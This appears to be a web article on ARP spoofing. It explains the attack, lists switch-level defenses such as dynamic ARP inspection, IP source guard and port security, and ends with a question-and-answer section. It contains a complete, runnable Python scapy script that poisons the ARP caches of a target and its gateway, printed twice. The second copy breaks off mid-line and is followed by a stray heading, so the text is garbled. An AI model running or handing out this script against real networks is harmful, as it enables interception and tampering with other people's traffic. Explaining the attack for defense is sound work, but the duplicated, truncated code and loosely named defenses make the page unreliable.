ARP Spoofing Attack: What It Is and How to Prevent It
ARP (Address Resolution Protocol) spoofing, also known as ARP cache poisoning or ARP poison routing, is a type of network attack in which an attacker sends falsified ARP messages over a local area network. The aim of an ARP spoofing attack is to intercept and manipulate network traffic by mapping an attacker's MAC address to the IP address of another device on the network, making the attacker appear as the trusted device.
In an ARP spoofing attack, the attacker sends ARP messages to devices on the network, falsely claiming that the attacker's MAC address is the MAC address of a trusted device such as a router or a switch. When the victim devices receive these ARP messages, they update their ARP cache with the attacker's MAC address and IP address, thinking that the attacker is the trusted device. As a result, all the network traffic intended for the trusted device will now be sent to the attacker, allowing the attacker to intercept, modify, or redirect the network traffic.
The following is an example of ARP spoofing attack code in Python:
import scapy.all as scapy
import time
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
scapy.send(packet, count=4, verbose=False)
target_ip = "192.168.0.5"
gateway_ip = "192.168.0.1"
try:
sent_packets_count = 0
while True:
spoof(target_ip, gateway_ip)
spoof(gateway_ip, target_ip)
sent_packets_count += 2
print("\r[+] Packets sent: " + str(sent_packets_count), end="")
time.sleep(2)
except KeyboardInterrupt:
print("\n[+] Detected CTRL + C ... Resetting ARP tables... Please wait.\n")
restore(target_ip, gateway_ip)
restore(gateway_ip, target_ip)
To prevent ARP spoofing attacks, network administrators can implement ARP security measures such as ARP inspection, Dynamic ARP inspection (DAI), and IP source guard. ARP inspection
Preventing ARP Spoofing Attacks
As mentioned, there are several measures that can be taken to prevent ARP spoofing attacks. Some of the most effective measures include:
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ARP Inspection (DAI): This is a security feature that verifies the validity of ARP messages on a network and ensures that only legitimate ARP messages are accepted. DAI can be implemented on network switches to prevent ARP spoofing attacks.
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IP Source Guard: This security feature limits the IP addresses that can be used on a particular port on a switch. By restricting the IP addresses that can be used, IP source guard can prevent ARP spoofing attacks.
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Dynamic ARP protection (DAP): This security feature provides protection against ARP spoofing attacks by monitoring the ARP traffic on a network and generating alerts if an ARP spoofing attack is detected.
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Port Security: This security feature restricts access to a network switch port by only allowing specific MAC addresses to use the port. By limiting the MAC addresses that can use a switch port, port security can prevent ARP spoofing attacks.
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Antivirus software: Some antivirus software can detect and prevent ARP spoofing attacks by monitoring network traffic for suspicious activity.
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Network segmentation: Segmenting a network into smaller, separate sub-networks can limit the scope of an ARP spoofing attack and make it more difficult for an attacker to carry out the attack.
In conclusion, ARP spoofing is a serious security threat to networks, and it is important for network administrators to implement security measures to prevent ARP spoofing attacks. By using measures such as ARP inspection, IP source guard, port security, and network segmentation, administrators can help ensure the security and integrity of their networks.
Popular questions
- What is ARP spoofing?
Answer: ARP spoofing is a type of network attack in which an attacker sends falsified ARP messages over a local area network in order to intercept and manipulate network traffic by mapping the attacker's MAC address to the IP address of another device on the network.
- What is the aim of an ARP spoofing attack?
Answer: The aim of an ARP spoofing attack is to intercept and manipulate network traffic by making the attacker appear as a trusted device on the network.
- How does ARP spoofing work?
Answer: In an ARP spoofing attack, the attacker sends ARP messages to devices on the network falsely claiming that the attacker's MAC address is the MAC address of a trusted device such as a router or a switch. When the victim devices receive these ARP messages, they update their ARP cache with the attacker's MAC address and IP address, thinking that the attacker is the trusted device. As a result, all the network traffic intended for the trusted device will now be sent to the attacker, allowing the attacker to intercept, modify, or redirect the network traffic.
- Can ARP spoofing attacks be prevented?
Answer: Yes, ARP spoofing attacks can be prevented by implementing security measures such as ARP inspection, dynamic ARP inspection (DAI), IP source guard, port security, antivirus software, and network segmentation.
- Can you provide an example of ARP spoofing attack code?
Answer: Yes, here is an example of ARP spoofing attack code in Python:
import scapy.all as scapy
import time
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
scapy.send(packet, count=4, verbose=False)
target_ip = "192.168.0.5"
gateway_ip = "192.168.0.1"
try:
sent_packets_count = 0
while True:
spoof(target_ip, gateway_ip)
spoof(gateway_ip, target_ip)
sent_packets_count += 2
print("\r[+] Packets sent: " + str(sent_packets_count), end="")
time.
### Tag
Cybersecurity